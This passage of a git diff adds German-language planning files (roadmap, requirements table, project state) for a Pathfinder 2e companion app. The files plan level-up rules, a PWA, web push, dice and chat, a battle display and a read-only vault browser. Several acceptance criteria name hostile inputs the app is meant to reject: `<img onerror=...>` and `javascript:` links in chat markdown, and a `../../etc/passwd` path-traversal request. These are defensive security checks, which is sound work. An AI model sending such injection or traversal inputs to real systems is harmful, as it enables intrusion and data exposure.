| LVL-07 | Phase 1 | Pending |
|
||||
| LVL-08 | Phase 1 | Pending |
|
||||
| LVL-09 | Phase 1 | Pending |
|
||||
| LVL-10 | Phase 1 | Pending |
|
||||
| LVL-11 | Phase 1 | Pending |
|
||||
| LVL-12 | Phase 1 | Pending |
|
||||
| LVL-13 | Phase 1 | Pending |
|
||||
| LVL-14 | Phase 1 | Pending |
|
||||
| LVL-15 | Phase 1 | Pending |
|
||||
| PWA-01 | Phase 2 | Pending |
|
||||
| PWA-02 | Phase 2 | Pending |
|
||||
| PWA-03 | Phase 2 | Pending |
|
||||
| PWA-04 | Phase 2 | Pending |
|
||||
| PWA-05 | Phase 2 | Pending |
|
||||
| PWA-06 | Phase 2 | Pending |
|
||||
| PWA-07 | Phase 2 | Pending |
|
||||
| PWA-08 | Phase 2 | Pending |
|
||||
| PWA-09 | Phase 2 | Pending |
|
||||
| PWA-10 | Phase 2 | Pending |
|
||||
| PUSH-01 | Phase 3 | Pending |
|
||||
| PUSH-02 | Phase 3 | Pending |
|
||||
| PUSH-03 | Phase 3 | Pending |
|
||||
| PUSH-04 | Phase 3 | Pending |
|
||||
| PUSH-05 | Phase 3 | Pending |
|
||||
| PUSH-06 | Phase 3 | Pending |
|
||||
| PUSH-07 | Phase 3 | Pending |
|
||||
| PUSH-08 | Phase 3 | Pending |
|
||||
| DICE-01 | Phase 4 | Pending |
|
||||
| DICE-02 | Phase 4 | Pending |
|
||||
| DICE-03 | Phase 4 | Pending |
|
||||
| DICE-04 | Phase 4 | Pending |
|
||||
| DICE-05 | Phase 4 | Pending |
|
||||
| DICE-06 | Phase 4 | Pending |
|
||||
| DICE-07 | Phase 4 | Pending |
|
||||
| CHAT-01 | Phase 4 | Pending |
|
||||
| CHAT-02 | Phase 4 | Pending |
|
||||
| CHAT-03 | Phase 4 | Pending |
|
||||
| CHAT-04 | Phase 4 | Pending |
|
||||
| CHAT-05 | Phase 4 | Pending |
|
||||
| CHAT-06 | Phase 4 | Pending |
|
||||
| BAT-01 | Phase 5 | Pending |
|
||||
| BAT-02 | Phase 5 | Pending |
|
||||
| BAT-03 | Phase 5 | Pending |
|
||||
| BAT-04 | Phase 5 | Pending |
|
||||
| BAT-05 | Phase 5 | Pending |
|
||||
| BAT-06 | Phase 5 | Pending |
|
||||
| BAT-07 | Phase 5 | Pending |
|
||||
| BAT-08 | Phase 5 | Pending |
|
||||
| BAT-09 | Phase 5 | Pending |
|
||||
| BAT-10 | Phase 5 | Pending |
|
||||
| BAT-11 | Phase 5 | Pending |
|
||||
| GM-01 | Phase 6 | Pending |
|
||||
| GM-02 | Phase 6 | Pending |
|
||||
| GM-03 | Phase 6 | Pending |
|
||||
| GM-04 | Phase 6 | Pending |
|
||||
| GM-05 | Phase 6 | Pending |
|
||||
| GM-06 | Phase 6 | Pending |
|
||||
| GM-07 | Phase 6 | Pending |
|
||||
| GM-08 | Phase 6 | Pending |
|
||||
| VAULT-01 | Phase 7 | Pending |
|
||||
| VAULT-02 | Phase 7 | Pending |
|
||||
| VAULT-03 | Phase 7 | Pending |
|
||||
| VAULT-04 | Phase 7 | Pending |
|
||||
| VAULT-05 | Phase 7 | Pending |
|
||||
| VAULT-06 | Phase 7 | Pending |
|
||||
| VAULT-07 | Phase 7 | Pending |
|
||||
| VAULT-08 | Phase 7 | Pending |
|
||||
| VAULT-09 | Phase 7 | Pending |
|
||||
| VAULT-10 | Phase 7 | Pending |
|
||||
|
||||
**Coverage:**
|
||||
- v1 requirements: 75 total
|
||||
- Mapped to phases: 75 (Phase 1: 15, Phase 2: 10, Phase 3: 8, Phase 4: 13, Phase 5: 11, Phase 6: 8, Phase 7: 10)
|
||||
- Unmapped: 0 ✓
|
||||
|
||||
---
|
||||
*Requirements defined: 2026-04-27*
|
||||
*Last updated: 2026-04-27 after roadmap mapping*
|
||||
150
.planning/ROADMAP.md
Normal file
150
.planning/ROADMAP.md
Normal file
@@ -0,0 +1,150 @@
|
||||
# Roadmap: Dimension47 — Milestone "PWA-Companion"
|
||||
|
||||
## Overview
|
||||
|
||||
Diese Roadmap baut auf der bestehenden Dimension47-Codebase auf (Auth, Kampagnen, Charakterbogen mit HP/Zuständen/Inventar/Talenten/Aktionen/Alchemie/HTML-Export, Equipment-DB mit 5.482 Items, WebSocket-Sync, Battle-MVP, GM-Library — alles bereits geliefert) und liefert die nächste Ausbaustufe: regelkonformes PF2e-Level-Up, installierbare PWA mit Offline-Read, Web-Push für GM-Pings, getrennter Battle-Display-Mode für den eingelassenen Tisch-Bildschirm, In-App-Würfler mit Chat, GM-Live-Cockpit und Obsidian-Vault-Browser. Sieben Phasen in Forschungs-empfohlener Reihenfolge: Level-Up beginnt unabhängig und etabliert Test-Disziplin und WebSocket-Kanal-Trennung als Querschnittsmuster, danach baut PWA-Foundation die Service-Worker-Basis für Push und Vault-Offline-Cache, anschließend laufen Push, Würfeln/Chat und Battle-Ausbau parallel-möglich, und am Ende konsolidieren GM-Live-Tools und Vault.
|
||||
|
||||
## Phases
|
||||
|
||||
**Phase Numbering:**
|
||||
- Integer phases (1, 2, 3): Planned milestone work
|
||||
- Decimal phases (2.1, 2.2): Urgent insertions (marked with INSERTED)
|
||||
|
||||
Decimal phases appear between their surrounding integers in numeric order.
|
||||
|
||||
- [ ] **Phase 1: Level-Up (PF2e regelkonform)** - Charakter steigt im Wizard regelkonform mit allen Wahlen auf, Werte stimmen automatisch
|
||||
- [ ] **Phase 2: PWA Foundation** - App ist installierbar, der eigene Charakterbogen ist offline lesbar, Updates blockieren keine Battle-Session
|
||||
- [ ] **Phase 3: Web Push** - Spieler erhalten gezielte Push-Benachrichtigungen vom GM auf installierten Geräten
|
||||
- [ ] **Phase 4: Würfeln & Chat** - Server-autoritatives PF2e-Würfeln und Echtzeit-Chat mit Roll-Embeds pro Kampagne und Battle
|
||||
- [ ] **Phase 5: Battle Multi-Screen Ausbau** - Eigener Display-Mode fürs Tisch-Display, Initiative-Tracker, Token-Effekte, sicher getrennt von GM-Sicht
|
||||
- [ ] **Phase 6: GM Live-Tools** - GM steuert HP/Zustände/Items/Geld der Spieler-Charaktere live aus einem Cockpit-Panel und sendet gezielte Pings
|
||||
- [ ] **Phase 7: Obsidian Vault (Read-only)** - Vault-Browser mit Markdown, Wikilinks, Bildern, Suche und Offline-Cache der zuletzt gelesenen Notes
|
||||
|
||||
## Phase Details
|
||||
|
||||
### Phase 1: Level-Up (PF2e regelkonform)
|
||||
**Goal**: Spieler und GM heben Charaktere regelkonform und nachvollziehbar auf das nächste Level — alle PF2e-Wahlachsen werden im Wizard angeboten, Voraussetzungen werden geprüft, abgeleitete Werte werden automatisch neu berechnet, und ein bestätigter Aufstieg ist atomar persistiert.
|
||||
**Depends on**: Nothing (first phase)
|
||||
**Requirements**: LVL-01, LVL-02, LVL-03, LVL-04, LVL-05, LVL-06, LVL-07, LVL-08, LVL-09, LVL-10, LVL-11, LVL-12, LVL-13, LVL-14, LVL-15
|
||||
**Success Criteria** (what must be TRUE):
|
||||
1. Spieler startet auf seinem Charakter "Stufe steigen", durchläuft einen Wizard mit allen für sein Level relevanten Wahlpunkten (Boost, Klassentalent, Fertigkeitstalent, Allgemein-Talent, Skill-Increase, Ancestry-Talent, Klassenmerkmal — je nach Level) und sieht in jedem Schritt nur Optionen, deren Voraussetzungen erfüllt sind, und Free-Archetype-Slots sind sichtbar, wenn aktiviert.
|
||||
2. Spieler kann den Wizard jederzeit abbrechen oder zurückgehen, ohne dass der Charakter bisher mutiert wurde — Charakterbogen außerhalb des Wizards zeigt unveränderten Vorher-Stand bis zur ausdrücklichen Bestätigung.
|
||||
3. Nach Bestätigung sind HP-Max, Save-Boni, AC, Klassen-DC und Wahrnehmung gemäß PF2e neu berechnet (Boost-Cap-bei-18 wird respektiert: bestehender Wert ≥18 → +1, sonst +2), und alle anderen Mitspieler sehen den neuen Level + neuen Stat-Block in Echtzeit über WebSocket.
|
||||
4. Spellcaster-Charaktere sehen nach dem Aufstieg korrekte Slot- und Cantrip-Progression gemäß ihrer Klasse/Tradition; spontane Caster sehen zusätzlich erhöhtes Repertoire-Limit.
|
||||
5. Bestätigtes Level-Up erzeugt einen nachvollziehbaren Historieneintrag (Snapshot-Vorher in JSON) und ist atomar persistiert — kein halbes Level-Up bei Fehler mitten im Commit.
|
||||
**Plans:** 6 plans
|
||||
|
||||
Plans:
|
||||
- [x] 01-01-PLAN.md — Wave 0: Prisma schema + migration + partial unique index + Jest infrastructure proof
|
||||
- [x] 01-02-PLAN.md — Wave 1: 5 pure-function lib modules (boost, skill-cap, prereq, recompute, applicable-steps) with full TDD
|
||||
- [x] 01-03-PLAN.md — Wave 2: ClassProgression + ClassFeatureOption seed pipeline (Foundry pf2e + Wizard worked example)
|
||||
- [ ] 01-03b-PLAN.md — Wave 3: bulk curation of caster spell-slot overlays + class-feature-options for the other 15 D-16 classes (sequential after 01-03 — same data files)
|
||||
- [ ] 01-04-PLAN.md — Wave 4: LevelingModule (REST + atomic commit transaction + WebSocket broadcast) + pathbuilder-import integration + integration tests
|
||||
- [ ] 01-05-PLAN.md — Wave 5: React wizard against UI-SPEC + character-sheet integration + human verification checkpoint
|
||||
|
||||
**UI hint**: yes
|
||||
|
||||
**Spike Required**: Voraussetzungs-DSL-Scope (LVL-09) und Free-Archetype-Slot-Restriktionen müssen vor der Implementierung geklärt werden. Die Discuss-Phase soll fragen: (a) Welche Voraussetzungs-Muster sind mechanisch evaluierbar (Skill-Rang, Talent-Besitz, Level, Klasse) versus Escape-Hatch-Warnung? Empfehlung: Warnung statt Hard-Block für nicht-evaluierbare Prereqs. (b) Welche Archetyp-Talent-Quellen sind nach der Dedication zulässig — strikt nur der gewählte Archetyp oder beliebige Archetyp-Talente (Pathbuilder-Verhalten)?
|
||||
|
||||
**First-Phase Note**: Phase 1 ist die ERSTE Phase des neuen Milestones. Hier werden zwei Querschnittsmuster etabliert, die alle nachfolgenden Phasen erben:
|
||||
- **Test-Disziplin**: Reine Funktionen (Boost-Cap-Logik, Skill-Increase-Cap, Voraussetzungs-Evaluator, Recompute-Formeln) werden mit Unit-Tests gesichert. Die existierende Codebase hat null Tests; Pitfall-Mapping zeigt Boost-Cap-bei-18 und Skill-Increase-History als typische "schleichende Korruption"-Bugs. Test-Net wird in dieser Phase aufgesetzt und in allen Folge-Phasen für reine Funktionen weitergeführt.
|
||||
- **WebSocket-Channel-Trennung**: `level_up_committed` ergänzt das bestehende `CharacterUpdatePayload['type']`-Union als sauberer neuer Kanal-Typ. Atomare Transaktion + einzelner Broadcast (statt mehrerer kleiner Updates während Recompute) ist das Muster, das in Phase 4 (Dice-Gateway), Phase 5 (Battle-Sub-Rooms) und Phase 6 (GM-Live-Tools auditiert bestehende Char-Events) angewendet wird.
|
||||
|
||||
### Phase 2: PWA Foundation
|
||||
**Goal**: Die App ist als installierbare PWA verfügbar, der eigene Charakterbogen mit allen Tabs ist auch ohne Internet lesbar, Service-Worker-Updates passieren kontrolliert per User-Bestätigung und niemals während einer aktiven Battle-Session, und es gibt keinen Cache-Leak zwischen User-Logins auf dem gleichen Gerät.
|
||||
**Depends on**: Phase 1 (Level-Up touch-points an `CharactersService`/`CharactersGateway` sind abgeschlossen, bevor Caching-Layer drüberkommt)
|
||||
**Requirements**: PWA-01, PWA-02, PWA-03, PWA-04, PWA-05, PWA-06, PWA-07, PWA-08, PWA-09, PWA-10
|
||||
**Success Criteria** (what must be TRUE):
|
||||
1. Spieler installiert die App auf seinem Android-Handy via "Zum Startbildschirm" (automatischer Prompt) oder auf seinem iPhone via geführter Anleitung im App-Overlay (Safari-Schritte) und sieht danach das Dimension47-Icon auf dem Home-Screen mit korrektem Splash beim Öffnen.
|
||||
2. Spieler startet die App im Flugmodus oder ohne WLAN und sieht den zuletzt geladenen Charakterbogen vollständig — Inventar, Talente, Aktionen, Alchemie sind lesbar, ohne Login-Fehler oder kaputte Seite.
|
||||
3. Wenn ein zweiter User auf dem gleichen Browser/Gerät einloggt, sieht er nur seine eigenen Daten — keine Charakter- oder Kampagnen-Daten des Vorgänger-Users sind aus dem Cache abrufbar.
|
||||
4. Wenn während einer aktiven Battle-Session ein neues App-Update auf dem Server liegt, lädt der Tab nicht automatisch neu — der Update-Hinweis erscheint erst, nachdem die Battle-Session geschlossen ist, und der Spieler bestätigt das Update manuell.
|
||||
5. Wenn ein Charakter live über WebSocket aktualisiert wird (z.B. HP-Schaden), zeigt die App nach Reconnect/Reload sofort den frischen Wert — der gecachte alte Wert wird über `postMessage`-Invalidation aus dem Service-Worker-Cache entfernt.
|
||||
**Plans**: TBD
|
||||
**UI hint**: yes
|
||||
|
||||
### Phase 3: Web Push
|
||||
**Goal**: Eingeloggte Spieler abonnieren auf Wunsch Push-Benachrichtigungen pro Gerät, der GM kann gezielt einzelne Spieler oder die ganze Kampagne anpingen, das System sendet automatisch einen Battle-Turn-Alert, wenn ein Spieler dran ist, und abgelaufene Subscriptions werden serverseitig automatisch aufgeräumt.
|
||||
**Depends on**: Phase 2 (Service Worker muss existieren, damit der Push-Handler darin laufen kann)
|
||||
**Requirements**: PUSH-01, PUSH-02, PUSH-03, PUSH-04, PUSH-05, PUSH-06, PUSH-07, PUSH-08
|
||||
**Success Criteria** (what must be TRUE):
|
||||
1. Spieler aktiviert in den Einstellungen "Benachrichtigungen aktivieren", erteilt im OS-Prompt die Erlaubnis, und das Gerät erscheint in seiner Subscription-Liste — er kann dieselbe Aktion auf einem zweiten Gerät wiederholen und beide Geräte werden separat abonniert.
|
||||
2. Wenn der GM "Ping an Spieler X" oder "Ping an Kampagne" auslöst, erhält der Spieler eine sichtbare Notification (auch wenn die App im Hintergrund oder geschlossen ist), und ein Tap auf die Notification öffnet die App auf dem Battle-, Charakter- oder Chat-Screen je nach Payload.
|
||||
3. Wenn die Initiative im Battle auf den Charakter eines Spielers wechselt, erhält dieser Spieler automatisch einen Push "Du bist dran" auf allen abonnierten Geräten, ohne dass der GM manuell auslösen muss.
|
||||
4. Wenn ein Spieler eine Subscription auf einem Gerät widerruft (Browser-Settings) oder das Gerät die Subscription rotiert, wird der zugehörige DB-Eintrag beim nächsten fehlgeschlagenen Send (410 Gone) automatisch gelöscht, ohne dass die Push-Pipeline für andere Subscriptions kaputtgeht.
|
||||
5. VAPID-Keys liegen persistiert in `.env` (`VAPID_PUBLIC_KEY`, `VAPID_PRIVATE_KEY`, `VAPID_SUBJECT`) und sind in `.env.example` als persistente App-Secrets dokumentiert mit klar formuliertem Rotations-Verfahren — bei Re-Deploy gehen Subscriptions nicht verloren.
|
||||
**Plans**: TBD
|
||||
**UI hint**: yes
|
||||
|
||||
### Phase 4: Würfeln & Chat
|
||||
**Goal**: Spieler und GM würfeln in PF2e-Notation server-autoritativ (kein Client-Tampering möglich), das Ergebnis ist live für alle Teilnehmer einer Kampagne und Battle sichtbar, PF2e-spezifische Crit-Mechaniken (Schaden-Würfel verdoppeln, Modifikatoren NICHT) und Degree-of-Success werden korrekt berechnet, und ein Echtzeit-Chat mit Markdown und Roll-Embeds läuft pro Kampagne und Battle.
|
||||
**Depends on**: Phase 2 (Offline-Read des Roll-Logs nutzt Service-Worker-Cache)
|
||||
**Requirements**: DICE-01, DICE-02, DICE-03, DICE-04, DICE-05, DICE-06, DICE-07, CHAT-01, CHAT-02, CHAT-03, CHAT-04, CHAT-05, CHAT-06
|
||||
**Success Criteria** (what must be TRUE):
|
||||
1. Spieler tippt `1d20+7` (oder nutzt Quick-Buttons), das Ergebnis erscheint sofort in der Roll-Liste mit Wer/Was/Wann/optionaler DC, ist server-seitig persistiert und wird live an alle Mitspieler in derselben Kampagne und Battle-Session gepusht — eine manipulierte Client-Payload wird vom Server abgewiesen.
|
||||
2. Bei einem Schaden-Roll mit Crit (`2d6+4` Crit) zeigt die App `4d6+4` als Berechnung — Würfel-Anzahl verdoppelt, Modifikator unverändert; bei einem Check gegen DC mit ±10-Regel zeigt die App den korrekten Degree-of-Success (Crit Success / Success / Failure / Crit Failure).
|
||||
3. Spieler postet eine Markdown-Nachricht in den Kampagnen- oder Battle-Chat, alle Mitspieler sehen sie sofort, und ein injizierter `<img onerror=...>` oder `[click](javascript:...)` wird vom Renderer neutralisiert (kein Skript-Auslösen, keine `dangerouslySetInnerHTML`-Lecks).
|
||||
4. Spieler postet einen Roll in den Chat, das Ergebnis erscheint inline als Roll-Card im Chat-Verlauf (FK `embedRollId` von ChatMessage auf DiceRoll), und der Chat-Verlauf lädt paginiert beim Hochscrollen via Cursor.
|
||||
5. Wenn ein Spieler 30 Sekunden Verbindungsverlust hat und in dieser Zeit Rolls/Nachrichten passieren, sieht er nach Reconnect die fehlenden Einträge über REST-Refetch (nicht nur live-WebSocket) — Roll-Log und Chat-History sind in Postgres mit Composite-Index `(campaignId, createdAt)` und `(battleSessionId, createdAt)` performant abrufbar.
|
||||
**Plans**: TBD
|
||||
**UI hint**: yes
|
||||
|
||||
### Phase 5: Battle Multi-Screen Ausbau
|
||||
**Goal**: Der Battle hat zwei sicher getrennte Sichten: ein GM-Steuerpanel auf dem Laptop und ein read-only Display-Mode für den eingelassenen Tisch-Bildschirm, wobei GM-only-Daten serverseitig gefiltert werden (nicht clientseitig versteckt). Initiative-Tracker zeigt sortiert "wer ist dran", Token-Effekte sind als Datenmodell modelliert und auf beiden Sichten sichtbar, und Token-Add/Remove laufen sauber als WebSocket-Events.
|
||||
**Depends on**: Phase 4 (Dice-Anbindung in Initiative-Card und Roll-Embeds in Chat sind nutzbar; Sub-Room-Pattern profitiert vom Test-Net aus Phase 1)
|
||||
**Requirements**: BAT-01, BAT-02, BAT-03, BAT-04, BAT-05, BAT-06, BAT-07, BAT-08, BAT-09, BAT-10, BAT-11
|
||||
**Success Criteria** (what must be TRUE):
|
||||
1. GM klickt "Display starten", die Display-Route `/battle/:id/display` öffnet sich (auf zweitem Monitor / Tisch-Display) mit großschriftigem Querformat-Layout — keine Drag-Handles, keine GM-Sidebar, keine GM-Notizen sichtbar; bei `socket.onAny(console.log)` in den DevTools des Display-Clients erscheinen NULL GM-only-Felder im WebSocket-Frame.
|
||||
2. Display-Route ist mit einem kurzlebigen Display-Token authentifiziert, das vom GM ausgestellt wurde und an die Battle-Session gebunden ist — kopierte URL aus einem anderen Browser-Profil sieht nichts, abgelaufenes Token wird nach Battle-Ende vom Server abgewiesen.
|
||||
3. Initiative-Tracker zeigt eine sortierte Liste mit deutlichem "Wer ist dran"-Highlight (auch aus Tisch-Distanz lesbar), GM-"Nächster Zug"-Button rückt die Initiative weiter, und das Event broadcastet binnen ~1s an GM-Sicht, Display-Sicht und alle Spieler — keine inkonsistenten Zwischenzustände.
|
||||
4. GM kann pro Token Effekte hinzufügen, entfernen und aktualisieren (Name, Typ Buff/Debuff/Aura/Marker, optionale Dauer in Runden), und sowohl GM- als auch Display-Sicht zeigen sie als Pille/Badge am Token sowie in der Initiative-Karte; Effekte sind mit FK auf Token persistiert.
|
||||
5. GM fügt einen neuen Token hinzu oder entfernt einen — beide Aktionen broadcasten als saubere `token:added`/`token:removed`-WebSocket-Events (nicht als Query-Invalidate-Workaround), und alle Clients sehen das Update sofort.
|
||||
**Plans**: TBD
|
||||
**UI hint**: yes
|
||||
|
||||
**Spike Required**: Display-Token-Modell (BAT-03) muss vor Implementierung geklärt werden. Die Discuss-Phase soll fragen: (a) JWT-Variante mit `battle:id`-Claim, kurzem TTL und server-validierter Display-Route — wer stellt aus (GM-Klick "Display starten"), wo wird das Token transportiert (Query-Param, Header, Cookie), wann erlischt es (Battle-Ende-Hook, TTL-Default)? Empfehlung gemäß SUMMARY.md: Server stellt One-Shot-URL aus, GM klickt zum Generieren. (b) Tisch-Display-Hardware-Specs (Aspect-Ratio, Auflösung) müssen vor Phase-Ende vom User vorliegen, damit das Display-Layout korrekt skaliert (Pitfall #24).
|
||||
|
||||
### Phase 6: GM Live-Tools
|
||||
**Goal**: Der GM hat ein zentrales Cockpit-Panel, von dem aus er HP, Zustände, Items und Geld jedes Spieler-Charakters live setzen kann (über die bestehenden Char-WebSocket-Events, aber serverseitig auditiert auf GM-Rolle), und kann gezielt Push-/Chat-Nachrichten an einen Spieler oder alle Spieler senden. Destruktive Aktionen (HP=0, Item löschen) sind durch zweistufige Bestätigung abgesichert.
|
||||
**Depends on**: Phase 3 (Push für GM-Ping) + Phase 4 (Chat für gezielte Nachrichten)
|
||||
**Requirements**: GM-01, GM-02, GM-03, GM-04, GM-05, GM-06, GM-07, GM-08
|
||||
**Success Criteria** (what must be TRUE):
|
||||
1. GM öffnet das Live-Tools-Panel im Kampagnen-Detail und sieht alle Spieler-Charaktere mit Quick-Actions — er klickt "Schaden 5" auf Charakter A, der HP-Wert geht live runter, der Spieler von Charakter A sieht den neuen Wert in Echtzeit auf seinem Charakterbogen.
|
||||
2. GM kann eine Condition (z.B. Frightened 2) auf einem Spieler-Charakter setzen, entfernen oder updaten — der Spieler sieht sie sofort im eigenen Conditions-Tab; gleicher Pfad gilt für Item-Übergabe (Suche aus Equipment-DB → Auswahl → live im Inventar des Spielers) und Geld-Anpassung (Credits live).
|
||||
3. GM klickt "Ping an Spieler X mit Nachricht 'Wirf Reflex DC 25'" — Spieler X sieht innerhalb von ~1s die Push-Notification (auch wenn App im Hintergrund) UND eine Chat-Nachricht im Kampagnen-Chat; Ping an "alle Spieler" erreicht alle gleichzeitig.
|
||||
4. Wenn GM eine destruktive Aktion auslöst (HP auf 0 setzen, Item löschen), erscheint ein Bestätigungs-Dialog, der den betroffenen Charakter und die Aktion explizit nennt — versehentlicher Klick ohne Bestätigung mutiert nichts.
|
||||
5. Wenn ein Nicht-GM-User versucht, einen GM-Live-Tool-Event über manuelle WebSocket-Payloads abzufeuern (z.B. fremden Charakter modifizieren), lehnt der Server ab — die bestehenden Character-WebSocket-Events sind serverseitig auditiert auf "Aktor ist GM dieser Kampagne" und Lücken (falls vorhanden) sind geschlossen.
|
||||
**Plans**: TBD
|
||||
**UI hint**: yes
|
||||
|
||||
**Spike Required**: Authorization-Audit der bestehenden Character-WebSocket-Events (GM-06) muss vor Implementierung der GM-UI passieren. Die Discuss-Phase soll fragen: Welche der existierenden Char-Events (`character_update`-Familie in `characters.gateway.ts`) prüfen heute schon "Aktor ist GM dieser Kampagne", welche prüfen nur "Aktor ist Owner"? FEATURES.md flaggt Lücken; vor dem Bauen einer GM-UI, die diese Events massenhaft auslöst, muss die Server-Seite konsistent sein.
|
||||
|
||||
### Phase 7: Obsidian Vault (Read-only)
|
||||
**Goal**: GM und Spieler lesen Markdown-Notes aus dem selbst-gehosteten Vault über einen In-App-Browser — Ordner-Navigation, Wikilinks zwischen Notes, Bild-Embeds, Volltextsuche, alles über die NestJS-Server-API geleitet (nie direkter Browser-Zugriff auf Vault-Credentials), und zuletzt gelesene Notes sind offline verfügbar.
|
||||
**Depends on**: Phase 2 (Service Worker für Offline-Note-Cache)
|
||||
**Requirements**: VAULT-01, VAULT-02, VAULT-03, VAULT-04, VAULT-05, VAULT-06, VAULT-07, VAULT-08, VAULT-09, VAULT-10
|
||||
**Success Criteria** (what must be TRUE):
|
||||
1. Spieler navigiert im Vault-Browser durch eine Ordner-Tree-Struktur, öffnet eine Markdown-Datei und sieht sie gerendert mit GFM-Tabellen, Codeblöcken, Bildern (`![[image.png]]`) und Wikilinks (`[[Note]]` und `[[Note|Alias]]`); ein Klick auf einen Wikilink öffnet die verlinkte Note.
|
||||
2. Wenn zwei Notes denselben Basenamen haben, wird der mehrdeutige Wikilink dem User explizit als "mehrdeutig" angezeigt mit Auswahl-Liste — der Renderer sucht NICHT stillschweigend einen Treffer aus; ein zyklischer Embed (A → B → A) rendert einen Platzhalter "(Zyklus)" statt Stack-Overflow.
|
||||
3. Spieler nutzt die Volltextsuche und findet eine bekannte Note in einem Vault mit zumindest einem realistischen Inhalts-Volumen — Such-Endpoint ist server-seitig (Postgres FTS) und respektiert die JWT-Auth.
|
||||
4. Spieler liest eine Note online, geht offline (Flugmodus), öffnet die App erneut und kann dieselbe Note (und andere kürzlich gelesene Notes) weiterhin lesen — der Service-Worker-Cache (StaleWhileRevalidate, LRU) hat sie vorgehalten.
|
||||
5. Wenn ein User versucht, einen Pfad mit `../../etc/passwd` über die Vault-API zu lesen, lehnt der Server ab (Path-Traversal-Guard); Vault-Credentials liegen ausschließlich in `.env` am NestJS-Server und sind im Browser-DevTools-Network-Tab nicht sichtbar.
|
||||
**Plans**: TBD
|
||||
**UI hint**: yes
|
||||
|
||||
**Spike Required**: Vault-Transport-Entscheidung (VAULT-01) muss vor Implementierung getroffen werden. Die Discuss-Phase soll fragen: Liegt der Obsidian-Vault auf derselben Maschine wie der NestJS-Server (Filesystem-Mount via `fs/promises` mit `FsVaultProvider`, einfacher und niedriger Latenz) oder auf einer separaten Maschine (Synology/Nextcloud, dann WebDAV-Proxy via `webdav` lib mit `WebDAVVaultProvider`)? Empfehlung gemäß SUMMARY.md: `VaultProvider`-DI-Interface, Default `FsVaultProvider`, `WebDAVVaultProvider` als swappable Alternative.
|
||||
|
||||
## Progress
|
||||
|
||||
**Execution Order:**
|
||||
Phasen werden in numerischer Reihenfolge ausgeführt: 1 → 2 → 3 → 4 → 5 → 6 → 7. Negotiable parallelization (mit Bandwidth zur Hand): Phase 4 darf direkt nach Phase 2 starten (ohne Phase 3 abzuwarten); Phase 7 darf direkt nach Phase 2 starten (ohne Phase 5/6 abzuwarten). Hard dependencies bleiben: 2 vor 3, 2 vor 7, 3+4 vor 6.
|
||||
|
||||
| Phase | Plans Complete | Status | Completed |
|
||||
|-------|----------------|--------|-----------|
|
||||
| 1. Level-Up (PF2e regelkonform) | 0/5 | Planned | - |
|
||||
| 2. PWA Foundation | 0/TBD | Not started | - |
|
||||
| 3. Web Push | 0/TBD | Not started | - |
|
||||
| 4. Würfeln & Chat | 0/TBD | Not started | - |
|
||||
| 5. Battle Multi-Screen Ausbau | 0/TBD | Not started | - |
|
||||
| 6. GM Live-Tools | 0/TBD | Not started | - |
|
||||
| 7. Obsidian Vault (Read-only) | 0/TBD | Not started | - |
|
||||
100
.planning/STATE.md
Normal file
100
.planning/STATE.md
Normal file
@@ -0,0 +1,100 @@
|
||||
---
|
||||
gsd_state_version: 1.0
|
||||
milestone: v1.0
|
||||
milestone_name: milestone
|
||||
status: executing
|
||||
stopped_at: Phase 1 UI-SPEC approved
|
||||
last_updated: "2026-04-27T11:58:04.508Z"
|
||||
last_activity: 2026-04-27 -- Phase 01 execution started
|
||||
progress:
|
||||
total_phases: 7
|
||||
completed_phases: 0
|
||||
total_plans: 6
|
||||
completed_plans: 0
|
||||
percent: 0
|
||||
---
|
||||
|
||||
# Project State
|
||||
|
||||
## Project Reference
|
||||
|
||||
See: .planning/PROJECT.md (updated 2026-04-27)
|
||||
|
||||
**Core value:** Am Tisch funktioniert alles in Echtzeit und regelkonform — Charakterbogen am Handy, Battle-Steuerung am Laptop, Tisch-Display als read-only Spielsicht, ohne Reibung, ohne falsche Werte, ohne Reload.
|
||||
**Current focus:** Phase 01 — level-up-pf2e-regelkonform
|
||||
|
||||
## Current Position
|
||||
|
||||
Phase: 01 (level-up-pf2e-regelkonform) — EXECUTING
|
||||
Plan: 1 of 6
|
||||
Status: Executing Phase 01
|
||||
Last activity: 2026-04-27 -- Phase 01 execution started
|
||||
|
||||
Progress: [░░░░░░░░░░] 0%
|
||||
|
||||
## Performance Metrics
|
||||
|
||||
**Velocity:**
|
||||
|
||||
- Total plans completed: 0
|
||||
- Average duration: —
|
||||
- Total execution time: 0 hours
|
||||
|
||||
**By Phase:**
|
||||
|
||||
| Phase | Plans | Total | Avg/Plan |
|
||||
|-------|-------|-------|----------|
|
||||
| — | — | — | — |
|
||||
|
||||
**Recent Trend:**
|
||||
|
||||
- Last 5 plans: —
|
||||
- Trend: —
|
||||
|
||||
*Updated after each plan completion*
|
||||
|
||||
## Accumulated Context
|
||||
|
||||
### Decisions
|
||||
|
||||
Decisions are logged in PROJECT.md Key Decisions table.
|
||||
Recent decisions affecting current work:
|
||||
|
||||
- Milestone init: Level-Up wird voll regelkonform implementiert (statt Re-Import-only)
|
||||
- Milestone init: PWA mit Web Push, kein Native-Wrapper (PWA-Install ersetzt App-Store)
|
||||
- Milestone init: Battle-Screen bleibt Laptop+Tisch-Display, kein Pflicht-Mobile
|
||||
- Milestone init: Obsidian-Anbindung ist v1 nur lesend
|
||||
- Milestone init: Vault wird selbst-gehostet (Transport-Protokoll wird in Phase 7 entschieden)
|
||||
- Roadmap: 7-Phasen-Reihenfolge gemäß Research-Empfehlung (Level-Up zuerst, dann PWA als Foundation für Push/Vault)
|
||||
|
||||
### Pending Todos
|
||||
|
||||
None yet.
|
||||
|
||||
### Blockers/Concerns
|
||||
|
||||
Open spike questions documented per phase in ROADMAP.md (Spike Required notes):
|
||||
|
||||
- Phase 1: Voraussetzungs-DSL-Scope, Free-Archetype-Slot-Restriktionen
|
||||
- Phase 5: Display-Token-Modell, Tisch-Display-Hardware-Specs
|
||||
- Phase 6: Authorization-Audit der bestehenden Character-WebSocket-Events
|
||||
- Phase 7: Vault-Transport-Entscheidung (Filesystem-Mount vs WebDAV)
|
||||
|
||||
Cross-cutting from research (PITFALLS.md):
|
||||
|
||||
- Codebase hat null Tests heute — Phase 1 etabliert Test-Disziplin für reine Funktionen
|
||||
- WebSocket-Channel-Trennung (separate Sub-Rooms vs ein Broadcast) wird in Phase 1 als Muster etabliert und in Phase 5 für GM/Display ausgebaut
|
||||
|
||||
## Deferred Items
|
||||
|
||||
Items acknowledged and carried forward from previous milestone close:
|
||||
|
||||
| Category | Item | Status | Deferred At |
|
||||
|----------|------|--------|-------------|
|
||||
| *(none)* | | | |
|
||||
|
||||
## Session Continuity
|
||||
|
||||
